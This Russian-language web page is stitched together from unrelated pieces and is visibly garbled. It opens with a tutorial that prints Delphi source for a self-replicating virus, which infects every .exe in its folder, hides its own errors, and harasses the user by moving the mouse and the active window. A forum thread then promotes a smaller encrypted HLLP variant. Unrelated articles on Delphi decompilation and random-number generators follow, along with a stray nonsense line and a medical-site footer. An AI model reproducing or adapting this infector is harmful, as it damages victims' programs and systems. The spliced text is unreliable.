Исходник генератора вирусов на delphi

Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…

Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером
23.40 Кб, который будет полноценно размножаться и мешать работе системы.

Итак, наши инструменты:

  • Борланд Дельфи 7.0 Enterprise Edition
  • UPX PE packer
  • Прямые руки 🙂

1. Запускаем вирус.
2. Происходит проверка, на запуск тела вируса или зараженной программы.
3. Если запущенно тело вируса, то переходим к заражению.
4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать.
5. Пока юзверь работает мешаем ему как можем.
6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл
(тот, который мы распаковали) и продолжаем инфицировать
своих соседей по каталогу.
7. Выходим из программы.

Вот собственно и все, что мой вирус может, а теперь реализация.
Для начала пишем скелет программы:

program zverofil;
uses sysutils,windows;
const virsize=23040;
var victims:tsearchrec;
f1,f2:file;

Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.
Процедура заражения выглядит вот так:

procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;

Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.

filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);
filemode :=2;

Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.

Поиск и заражение жертв реализуется так:

if FindFirst('*.exe', Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);

end;
until FindNext(victims)<>0 ;

Ну и код выполнения самой зараженной проги будет таким:

procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+'.exe');

rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);

winexec(pchar(paramstr(0)+ '.exe'), SW_show);
10:

if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
setcursorpos(random(800),Random(600));
getwindowrect(GetForeGroundWindow,rect);
setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1,
rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');

sleep(400);
goto 10;
end;

Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой.
Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;


Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы.. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем.


Довольно многие люди считают вирусом всё что угодно кроме того что это есть. За вирусы принимают всевозможные трояны, черви и даже всякие шуточные проги и всевозможный хактулс типо генераторов вирей и сканеров))) А ведь в первоисточнике вирус вовсе не имеет ни чего общего с вышеперечисленным и его главной особенностью и отличием является то что вирусы способны распространяться своими копиями (не всегда равными себе) и/или имеют возможность заражения своим кодом другие файлы. Так же многие люди считают что на делфи не пригоден для написания компактных вирусов. Я решился взяться за разъяснение двух этих проблем: 1)За счет подробных коментов я решил пояснить принцип работы вирусов 2)За счёт применения особой методики написания программ получить вирус на делфи минимального размера. Результатом работы стал HLLP вирус весом 2357 байт. Подробный его качественно откоментированный исходник а так же всё что необходимо для компиляции ехе находится в архиве: [url]***[/url] Для компиляции ехе нет необходимости даже в Делфи достаточно просто запустить файл vir.bat для компиляции и упаковки ехе. Хотя в принципе можно и в делфи открыть исходник, только придется предварительно в папке с исходником выполнить команду: DCC32 -Q system.pas sysinit.pas -M -Y -Z -$D- -O (например с помощью ВАТ-ника).

После этого появится два файла: system.dcu и sysinit.dcu при компиляциииз делфи придется паковать в ручную, но упаковщик FSG входит в состав архива. В общем надеюсь что этот вирус заинтересует новичков и в чем-то поможет более опытным кодерам, например работа с файлами, поиск файлов на API это весьма редко встречаемая в сети тема.

Пришлось расшаривать самостоятельно. Плюс вы сможете разобраться в принципах создания программ без RTL (малого размера) и как следствие разберётесь с тем как можно обходится в работе со строками без типа string, а так же как импортировать из системных библиотек функции. НЕ ИСПОЛЬЗУЙТЕ ЭТОТ ИСХОДНИК В КОРЫСТНЫХ ЦЕЛЯХ!!

PS: Приложив минимальные усилия можно сделать вирус значительно более качественным и деловым, но пока я этого делать не хочу. Возможно вы сами это сделаете и ли я позже выложу доработанные версии. Этот вариант заражает по методу дописывания жертвы в конец себя. Вот новый вариант этого виря: Что нового: 1)Изменено заражение - теперь заражение происходит без временного файла и какого-либо мусора. У жертвы копируется из начала в конец кусок размером как вирус. Затем на места первых VirSize байт с перезаписью пишутся байты виря. (Запуск пока что по старому, т.е.

В темпе) 2)Добавлено шифрование жертвы (шифруется вычисляемым ключем фрагмент жертвы переносимый в конец.) 3)Переработана процедура поиска дисков. (избавился от массива дисков за счёт применения ф-ии - GetLogicalDriveStrings) 4)Немного оптимизирован код, и как следствие размер вируса, несмотря на добавленые изменения уменьшился на 56 байт - (2301 байт) Вот линк на исходник: [url]***[/url] Принцип компиляции и т.д. Осталось неизменным, поэтому просто замените этим исходником старый. Somewhere, а что плохова в вирусах?

Именно в 'вирусах', а не в 'РАСПРОСТРАНЕНИИ ВИРУСОВ', мне кажется это очень разная область. Написание вирусов это тонкое и незаурядное решение сложных алгоритмов, вечная игра одних с другими. Давайте в институтах не будем атомную физику изучать, закроем НИИ по разработке оружия, биохимиков уволим. А кому нада очень, тот в гугле или яндексе запрос наберет и очень сомневаюсь что этот топик войдет в список ответов;) Автор, удачи в дальнейшем изучении, только переходи на ассемблер! [quote]Автор, удачи в дальнейшем изучении, только переходи на ассемблер![/quote]Пасиб.

Асм я в общем-то достаточно успешно осваиваю. Данное ПО является демонстрацией миниатюрного софтописания на таком на первый взгляд громозском языке программирования как Delphi.

Просто пример Hallo World-а весом 664 байта на Delphi мало кого задевает. Многие говорят что-то типо: Delphi гавно или ни чего толкового и рабочего таким образом не написать. Короче хигню несут))) Поэтому я и затеял вести статьи с примерами программ написанных на делфи имеющих миниатурные размеры.

Например я писал оконный калькулятор на делфи весом 2,4кб))) и т. Обучение Рассказыванию По Картине Таня Не Боится Мороза. д. Поэтому я посчитал, что пример вируса, полноценно подходящего под классификацию угроз на ЯВУ вполне подтвердит, что таким образом можно писать вполне толковый софтег, с размером не многим уступающий ассемблерному))) Вот и всё. Хотелось бы конечно получить польшее понимание, вместо высказаваний типа: Вы вообще охренели что-ли?

[quote='execom']От этой проблемы под одеялом не скроешься. Что бы бороться с вирусами необходимо много знать о их сущности, принципах и классификации. А говорить о этичности образования в этом ключе - это невежественно. [/quote] С вирусами борятся специально заточенные под это люди, их по-большому счету на весь мир не больше тысячи. Это их работа.


Проще говоря, декомпиляция, обратная компиляция: перевод исполняемый файл на языке более высокого уровня.

Предположим, вы потеряете источник вашего проекта Delphi и у вас есть только исполняемый файл: обратного проектирования (декомпиляции) полезно, если первоначальные источники не доступны.

Нет, конечно нет. Полностью автоматизированная декомпиляция не представляется возможной - не декомпилятор не может точно воспроизвести исходный код.

Обратное проектирование может быть использовано в течение нескольких причин, некоторые из которых являются:

  • Восстановление утраченного исходного кода
  • Миграция приложений на новую аппаратную платформу
  • Определение наличия вирусов или вредоносного кода в программе
  • Исправление ошибок, когда владелец приложения не доступен, чтобы сделать коррекцию.
  • Восстановление исходного кода Чужого (для определения алгоритма, например).

Переконструирование НЕ растрескивание, хотя иногда трудно провести тонкую грань между этими двумя. Компьютерные программы защищены авторским законодательством. Разные страны имеют разные исключения прав владельца авторского права. Наиболее распространенные из них утверждает, что это нормально для декомпиляции: для целей интерпретируемости где спецификация интерфейса не была сделана доступной, в целях исправления ошибок, когда владелец авторских прав не доступен, чтобы сделать коррекцию, чтобы определить части программы, которые не защищены авторским правом. Конечно, вы должны быть очень осторожны / обратитесь к адвокату, если вы сомневаетесь вам разрешается разбирать исполняемый файл какой-нибудь программы.

Примечание : если вы ищете Delphi трещину, генераторы ключей или только серийные номера вы на неверном месте. Пожалуйста , имейте в виду , что все , что вы найдете здесь написано / представлены для разведки / образовательных только в целях.

Когда проект Delphi компилируется или запустить скомпилированный блок-файл (.pas) создается. По умолчанию скомпилированных версий каждого блока хранятся в отдельном двоичном формате файл с тем же именем, что и файл модуль, но с расширением .dcu. Например unit1.dcu содержит код и данные, указанные в файле unit1.pas.

Это означает, что если у вас есть кому-то, например, компонент скомпилирован исходный код, все что вам нужно сделать, это отменить его и получить код. Неправильно. Формат файла DCU недокументирован (собственный формат) и может меняться от версии к версии.

Если вы хотели бы попробовать декомпилировать исполняемый файл Delphi, вот некоторые из вещей, которые вы должны знать:

Среди многих видов ресурсов, которые хранятся в исполняемый файл, то RT_RCDATA или применения определенных ресурсов (необработанные данные) содержит информацию , которые были в файле DFM до компиляции. Для того , чтобы извлечь данные DFM из файла ехе мы можем называть EnumResourceNames функции API … Для получения дополнительной информации по извлечению DFM из исполняемого файла идти см: Кодирование исследователь Delphi DFM статьи.

Искусство реинжиниринга традиционно земля технических мастеров, знакомых с ассемблером и отладчиками. Несколько декомпиляции Delphi появилась информация, что позволит никому, даже с ограниченными техническими знаниями, чтобы перепроектировать большинство исполняемых файлов Delphi.

Декомпилятор исполняемых файлов (EXE) и динамических библиотек (DLL), написанные в Delphi и выполняется в среде Windows32. Конечной целью проекта является разработка программы , способной восстановить большую часть исходных Delphi исходников из скомпилированного файла , но IDR, а также другие Delphi декомпиляции, не может сделать это еще. Тем не менее, IDR находится в состоянии значительно облегчить такой процесс. В сравнении с другими хорошо известными Delphi декомпиляторов результат анализа IDR имеет наибольшую полноту и надежность.

Revendepro находит почти все структуры (классы, типы, процедуры и т.д.) в программе, и генерирует паскаль представление, процедуры будут написаны на ассемблере. Из-за некоторых ограничений в ассемблере генерируемый вывод не может быть повторно. Исходный код этого декомпилятор находится в свободном доступе. К сожалению, это только один декомпилятор я не был в состоянии использовать - он запрашивает с исключением, когда вы пытаетесь декомпилировать некоторые Delphi исполняемый файл.

EMS Source Спасатель является простым в использовании мастера, который поможет вам восстановить утерянный исходный код. Если вы потеряете Delphi или C ++ Builder исходных файлов проект, но есть исполняемый файл, то этот инструмент может спасти часть потерянных источников. Спасатель производит все формы и модули данных проекта со всеми заданными свойствами и событиями. Восстановленные процедуры событий не имеют тела (это не декомпилятор), но есть адрес кода исполняемого файла. В большинстве случаев спасатель экономит 50-90% своего времени на проект реставрации.

DeDe очень быстрая программа, которая может анализировать исполняемые файлы, скомпилированные с помощью Delphi. После декомпиляции DeDe дает вам следующее:

Written on 06 Ноября 2013 .

Данная статья изучает применение генераторов псевдослучайных чисел.

Случайные числа являются простейшим элементов не только для специалистов по криптографии, но и для специалистов в области теории вычислительных машин и систем и программистов. Требуется метод, быстро генерирующий псевдослучайный поток криптографически стойких чисел. Однако цели прямо противоположны - псевдослучайные последовательности могут генерироваться быстро, либо могут генерироваться стойко; но обычно не быстро со свойствами, не поддающимися криптоанализу.

В статье рассматриваются следующие вопросы:
• Польза случайных чисел
• Классы генераторов случайных чисел
• Типы генераторов
• Источники случайных чисел
• Тестирование последовательностей
• Выбор начального числа
• Функция выработки ключа
• Стандартный C++ rand( )
• Линейный конгруэнтный генератор
• Минимальный стандартный генератор
• Нелинейные конгруэнтные генераторы
• Win32 API CryptGenRandom( )
• Компиляция и внедрение Crypto++
• Генераторы случайных чисел Crypto++
• Таблица применений
• Дополнительные CSPRNG (криптостойкие генераторы псевдослучайных чисел)
• Плохие генераторы

Польза случайных чисел

Человеческое ухо способно различать синтезированную музыку (сгенерированную компьютером) и музыку, сыгранную музыкантом. У музыканта есть небольшие колебания ритма, делающие музыку более приятной. Кроме того, небольшая случайность заставляет компьютерную графику выглядеть мягче. Обратите внимание на жесткую структуру левого изображения ниже в сравнении с мягкостью правого изображения. Правое изображение было сгенерировано с применением фильтра, добавившего небольшой случайный шум. В обработке сигналов это называется сглаживанием.


Без случайного шума


Касательно эстетики, Adobe Photoshop использует случайные числа во многих фильтрах, в их числе – размывка, деформация и шум.


Фильтры Adobe Photoshop

Наконец, досуг включает в себя тасование карт или вращение костей.

Классы генераторов случайных чисел

Взято из NIST, FIPS 140-2:

Генераторы случайных чисел относятся к одному из двух классов: детерминированные и недетерминированные. Детерминированный RNG(генератор случайных чисел) состоит из алгоритма, генерирующего последовательность битов исходя из начального значения. Недетерминированный RNG дает вывод, зависящий от некоторого непредсказуемого физического источника, не контролируемого человеком.

Типы генераторов случайных чисел

Существует два типа детерминированных генераторов случайных чисел для программиста на выбор:
• Генераторы псевдослучайных чисел
• Криптографически стойкие генераторы случайных чисел

Генераторы псевдослучайных чисел включают в себя такие генераторы, как линейные конгруэнтные генераторы и вихри Мерсенна. Они быстро дают равномерно распределенный поток по интервалу [0, 1). Они не обеспечивают криптографическую стойкость.

Криптографически стойкие генераторы случайных чисел имеют дополнительные свойства, делающие их подходящими для применения в криптографии. Криптографические применения следующие:
• Генерация ключей
• Защитные слова
• Соли
• Одноразовые шифры

Защитное слово – число или строка битов, используемая только один раз. Это псевдослучайное число, выданное в протоколе аутентификации, чтобы предотвратить повторное использование старых коммуникаций в атаке путём повтора с использованием перехваченных данных. Для обеспечения однократного использования защитного слова оно должно меняться во времени (включать достаточно детальную метку времени в свое значение) или генерироваться с достаточным количеством случайных битов, чтобы обеспечить ничтожный в вероятностном смысле шанс повторения ранее сгенерированного значения.

Одноразовый шифр (изобретен около 1917) является алгоритмом шифрования, в котором простой текст объединяется со случайным ключом или "нулем", равным по длине простому тексту и используемым только один раз. Простой текст объединяется с нулем путем сложения по модулю. Для двоичных данных величина операции XOR является эквивалентом. Если ключ истинно случайный, вообще не используется повторно и держится в тайне, одноразовый шифр обеспечивает идеальную секретность.

Источники случайных чисел

Пусть даже NIST(Национальный институт стандартов и технологий) сейчас не признает никаких недетерминированных RNG, можно использовать детерминированный RNG для создания начального числа для криптографически стойкого генератора псевдослучайных чисел. Взято из FIPS 140-2:

До тех пор, пока не появится утвержденный стандарт недетерминированного RNG, недетерминированные RNG, утвержденные для применения в секретных областях применения, могут использоваться для генерации ключей или для создания начальных чисел для утвержденных детерминированных RNG, применяемых при генерации ключей.

NIST предоставляет тесты, позволяющие разработать эвристические правила для определения качества последовательности из рассматриваемого генератора. Для загрузки добавлен комплект проверки правильности NIST, FIPS 140-2, и FIPS 186. Дополнительно читатель может изучить ANSI 9.17, приложение C (Утвержденные генераторы случайных чисел для FIPS 140-2, Требования к безопасности криптографических устройств).

Также представляет интерес NIST SP800-90, Рекомендации по генерации случайных чисел с помощью детерминированных генераторов случайных двоичных последовательностей. Некоторые осторожные специалисты по криптографии не рекомендуют использовать Dual_EC-DRBG (вариант эллиптической кривой), но рекомендуют использовать CTR_DRBG или Hash_DRBG. Статья Шнейера находится здесь: Внедрило ли агентство национальной безопасности скрытую лазейку в новый стандарт шифрования?

Подготовка к тестам

В случайной последовательности, в которой ожидается появление каждой из десяти десятичных цифр примерно 1/10 раз, если основание системы счисления равно 2 (цифры 0 или 1), каждая цифра должна представлять собой примерно 50% последовательности.

Тестирование требует отличать хорошие источники от плохих вариантов. Например, двоичный поток . 1111111110000000000. идеально пройдет простой тест частоты, но не выдержит продвинутые тесты, такие как серии, длиннейшие серии в блоке и накопленные суммы. Представленный двоичный поток парадоксален тем, что является правильной последовательностью случайных чисел. В объективном генераторе появление каждого потока равновероятно.

Тестирование последовательностей

Ниже читатель найдет различные тесты, применяемые при оценке эффективности генератора. Полное описание читателю следует искать в Руководстве по статистическим тестам NIST и в Искусстве компьютерного программирования Кнута.

Кроме того, следует посмотреть SP800-22 NIST, Набор статистических тестов для генераторов случайных и псевдослучайных чисел для криптографических применений. На сайте NIST есть программное обеспечение для тестирования генератора.

NIST требует, чтобы PRNG прошел 16 статистических тестов. Тесты перечислены ниже с кратким описанием.
• Частота – соотношение нулей и единиц для всей последовательности.
• Частота внутри блока – определяет, равна ли частота единиц в M-битовом блоке примерно M/2.
• Серии – общее число серий нулей и единиц во всей последовательности, где серия – непрерывная последовательность одинаковых битов.
• Длиннейшая серия единиц в блоке – определяет, соответствует ли длина длиннейшей серии единиц в тестируемой последовательности длине длиннейшей серии единиц, ожидаемой в случайной последовательности.
• Ранг случайной двоичной матрицы – проверяет на линейную зависимость между подстроками фиксированной длины из исходной последовательности.
• Дискретное преобразование Фурье (спектральное) – выявляет периодические свойства.
• Сравнение с неперекрывающимся (непериодическим) шаблоном – число вхождений предопределенных целевых подстрок.
• Сравнение с перекрывающимся (периодическим) шаблоном - число вхождений предопределенных целевых подстрок.
• Универсальный статистический тест Маурера – число битов между совпадающими комбинациями. Задача теста – выяснить, можно ли существенно сжать последовательность без потери информации.
• Сложность Лемпела-Зива – до какой степени можно сжать тестируемую последовательность. Последовательность считается неслучайной, если ее можно существенно сжать.
• Линейная сложность – длина генерации регистра с обратной связью.
• Серийность – частота всех без исключения перекрывающихся m-битовых комбинаций по всей последовательности.
• Приблизительная энтропия - частота всех без исключения перекрывающихся m-битовых комбинаций.
• Накопленная сумма – определяет, является ли накопленная сумма частичных последовательностей, входящих в тестируемую последовательность, слишком большой или слишком маленькой по сравнению с ожидаемым поведением накопленной суммы для случайных последовательностей.
• Случайные отклонения – определяет, не превышает ли число появлений состояния в течение случайного блуждания ожидаемое число для случайной последовательности.
• Разновидность случайных отклонений – обнаруживает отклонения от ожидаемого числа появлений разных состояний в течение случайного блуждания.

Кнут утверждает, что случайная последовательность должна пройти 13 статистических тестов. Тесты, не входящие в требования NIST, перечислены ниже.
• Хи-квадрат – классическое определение
• Колмогоров-Смирнов – расширяет критерий хи-квадрат до набора действительных чисел
• Интервал – обнаруживает интервалы между числами по диапазону чисел в последовательности
• Покер (разбиение) - n групп из пяти последовательных целых чисел из потока, соблюдающих итоговую схему. Одна пара - aabcd, три карты одного достоинства и две другого- aaabb, и т.д.
• Сборщик купонов – Проверяет длину последовательности, требуемую для наблюдения всех чисел в наборе от 0 до d-1.
• Перестановка – число порядков разбиения последовательности на части
• Столкновение – используется, если критерий хи-квадрат превышает определенное число столкновений
• Интервал между днями рождения – похож на парадокс дней рождения при выборе двух целых чисел в последовательности

Выбор начального числа

Криптографически стойкие RNG делят слабое место с другими генераторами псевдослучайных чисел – и те, и другие требуют начальное число на входе. Если секретное начальное число скомпрометировано, злоумышленник сможет мгновенно сгенерировать всю выходную последовательность, используя такой же алгоритм.

В 1995г. Дэвид Вагнер, тогда аспирант в Беркли, и его бывший однокурсник Ян Голдберг взломали генератор случайных чисел, используемый веб-браузером Netscape для защиты онлайновых транзакций. Они определили, что Netscape создавал свои начальные числа с помощью легко предсказываемых чисел, таких как время суток.

Функции выработки ключа

Функции выработки ключа используются (среди прочего) для выработки ключей на основе секретных паролей или парольных фраз. Для справки смотрите RFC 2898, Спецификация криптографии на базе паролей. Кроме того, платформа .NET предоставляет Rfc2898DeriveBytes, входящий в состав System.Security.Cryptography.

Функции выработки ключа часто используются вместе с несекретными параметрами для выработки ключей на основе общего секретного значения. Также может применяться KDF для обеспечения того, чтобы выработанные ключи обладали другими желательными свойствами, к примеру, исключение слабых ключей в некоторых специальных системах шифрования.

Функции выработки ключа применяются также в приложениях для выработки ключей на основе секретных паролей или парольных фраз, обычно не обладающих желательными свойствами для непосредственного использования в качестве криптографических ключей. В таких приложениях рекомендуется умышленно делать функцию выработки ключа медленной, чтобы сорвать атаку перебором или словарную атаку на входное значение пароля или парольной фразы.

Такое применение можно выразить через Dk = KDF(ключ, соль, повторения), где Dk – выработанный ключ, KDF - функция выработки ключа, ключ – исходный ключ или пароль, соль – случайное число, играющее роль криптографической соли, а повторения относятся к числу повторений подфункции. Выработанный ключ используется вместо исходного ключа или пароля в качестве ключа для системы. Значения соли и числа повторений (если оно не фиксированное) хранятся вместе с хешированным паролем или отправляются в виде простого текста с помощью зашифрованного сообщения.

Стандартная функция C++ rand( )

Стандартная функция C++ rand() использует линейный конгруэнтный генератор. Он быстро предоставляет равномерно распределенный поток битов, если параметры m, a, c, и X0 подходяще выбраны. Линейный конгруэнтный генератор не обеспечивает криптостойкость.

X0 называется начальным числом, часто использующим системное время. Генератор получает числа по следующей рекуррентной формуле:

Значения, выбранные для генератора в среде Microsoft Visual C++, показаны ниже. Обратите внимание, что & 0x7FFF выполняет модульное уменьшение.

Интересно прочитать диссертацию Джоан Бойяр, Вывод последовательностей, генерируемых линейным конгруэнтным генератором, лишенных младших битов. Проницательный читатель должен понять, что, вероятно, существует онлайновый игорный сайт, использующий незащищенную систему. Заметьте, что эта атака отличается от Уонгинг (названной в честь Стэнфорда Уонга, бывшего исследователя IBM и профессионального игрока), являющейся системой карточного счета.

Минимальный стандартный генератор

Впервые предложенный Миллером, Левисом и Голдменом в 1969, этот генератор является линейным конгруэнтным генератором с c=0. Уточнение уменьшения константы дало мультипликативный генератор:

Пак и Миллер предлагают значения a = 75 = 16807, m = 231-1 = 2147483647. 231-1 дает период 231-2. Другие значения a существуют при использовании 231-1: 48271 и 69627. Нельзя применять никакие другие значения.

Нелинейный конгруэнтный генератор

Есть много быстрых генераторов случайных чисел, заменяющих функции rand() и srand() стандартной библиотеки C/C++. Читателю следует ознакомиться с Генераторы случайных чисел: хорошие трудно найти. Стив Пак предоставляет исходный код генератора Лехмера на своей веб-странице Генератор случайных чисел. Код Пака содержит дополнительные PRNG на основе следующих распределений (эти генераторы называются нелинейными конгруэнтными генераторами):
• Бернулли
• биномиальное
• равномерное
• геометрическое
• Паскаля
• Пуассона

Вихрь Мерсенна, разработанный в 1997 Макото Матсумото и Такуджи Нишимура, тоже входит в эту категорию. Интересный факт о компьютерных вирусах - 30 вирусов используют генератор. Предполагают, что эти вирусы созданы одним автором.

Win32 API CryptGenRandom( )

CryptGenRandom() генерирует запрошенное число байтов для пользователя. GenCryptRandom() – прекрасный источник энтропии в Windows, так как он доступен для всех операционных систем, кроме NT 3.51 и младше и Windows 95 (SR1) и младше.

Последнее начальное значение для CryptGenRandom хранится в реестре Windows Registry под ключом \SOFTWARE\Microsoft\Cryptography\RNG\Seed корневой ветви HKEY_LOCAL_MACHINE. Начальное значение вырабатывается операционными системами с использованием разных параметров системы. К примеру, на устройстве с Windows CE будет использовано следующее:
• Переключатели потока и ядра (CeGetRandomSeed)
• Идентификатор текущего процесса (GetCurrentProcessId)
• Идентификатор текущего потока (GetCurrentThreadId)
• Такты с момента загрузки (GetTickCount)
• Текущее время (GetLocalTime)
• Информация о памяти (GlobalMemoryStatus)
• Статистика хранилища объектов (GetStoreInformation)

После выработки начального значения оно подвергается двум криптографическим преобразованиям: хеш MD4 и шифрование RC4 для дополнительно перемешивания и обрезки.

Пример 1 показывает применение Windows API для получения псевдослучайных значений. Чтобы убрать бремя SDK(пакет разработки программ), программа использует LoadLibrary() и GetProcAddress().

Компиляция и внедрение Crypto++

Смотрите соответствующую статью – Компиляция и внедрение Crypto++ в среду Microsoft Visual C++. Данная статья основана на исходных допущениях, представленных в вышеуказанной статье. Она также рассматривает большинство проблем, встречающихся в проектах – от командной строки до MFC (Ошибки C1083, C1189, LNK1104, LNK2001 и LNK2005). Кроме того, в ней приведены советы и тонкости использования библиотеки Crypto++.

LC_RNG

LC_RNG – линейный конгруэнтный RNG. Хотя этот генератор лишен криптографической ценности, он позволяет воспроизводить результаты при отладке программы. К тому же, он быстро генерирует блок байтов (или поток). При начальном значении 0x00 для LCG(линейный конгруэнтный генератор случайных чисел) устойчивый поток 0x80 является результатом. Это начальное значение дает период 1. Другие начальные значения работают как надо. Можно использовать пример 1 для сравнения результатов разных начальных значений линейных конгруэнтных генераторов.

RandomPool

RandomPool работает аналогично LCG – в том смысле, что одно и то же начальное значение дает одни и те же результаты. Но, в отличие от LC_RNG, в основе RandomPool сейчас лежит шифр MD5 . randpoool.cpp предоставляет typedef MDC RandomPoolCipher. Затем RandomPool инициализируется и используется следующим образом (как показано в примере 3):

Случайная группа с автоматическим заданием начального значения была предложена Леонардом Джанке, которую Вэй Дай позже встроил в Crypto++. AutoSeededRandomPool использует конструкцию RandPool из PGP(вполне хорошая секретность). Он подходит для всех криптографических целей, включая генерацию ключей и IV. В зависимости от операционной системы, начальное значение генератора задается с помощью следующего:
• CryptGenRandom()посредством поставщика служб шифрования
• /dev/urand
• /dev/rand

Пример 4 показывает применение AutoSeedeRandomPool.

В отличие от LG_RNG и RandomPool, AutoSeededX917RNG не требует задания начального значения. Но надо указать утвержденный блочный шифр в качестве параметра шаблона. Два утвержденных шифра ANSI 9.17 - шифр DES с трёхкратным шифрованием и 3 ключами и SHA1. Пример 5 показывает использование вместе с SHA1.

Таблица применений

Следующая таблица должна применяться при выборе генераторов случайных чисел на практике.

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Иммунитет и инфекции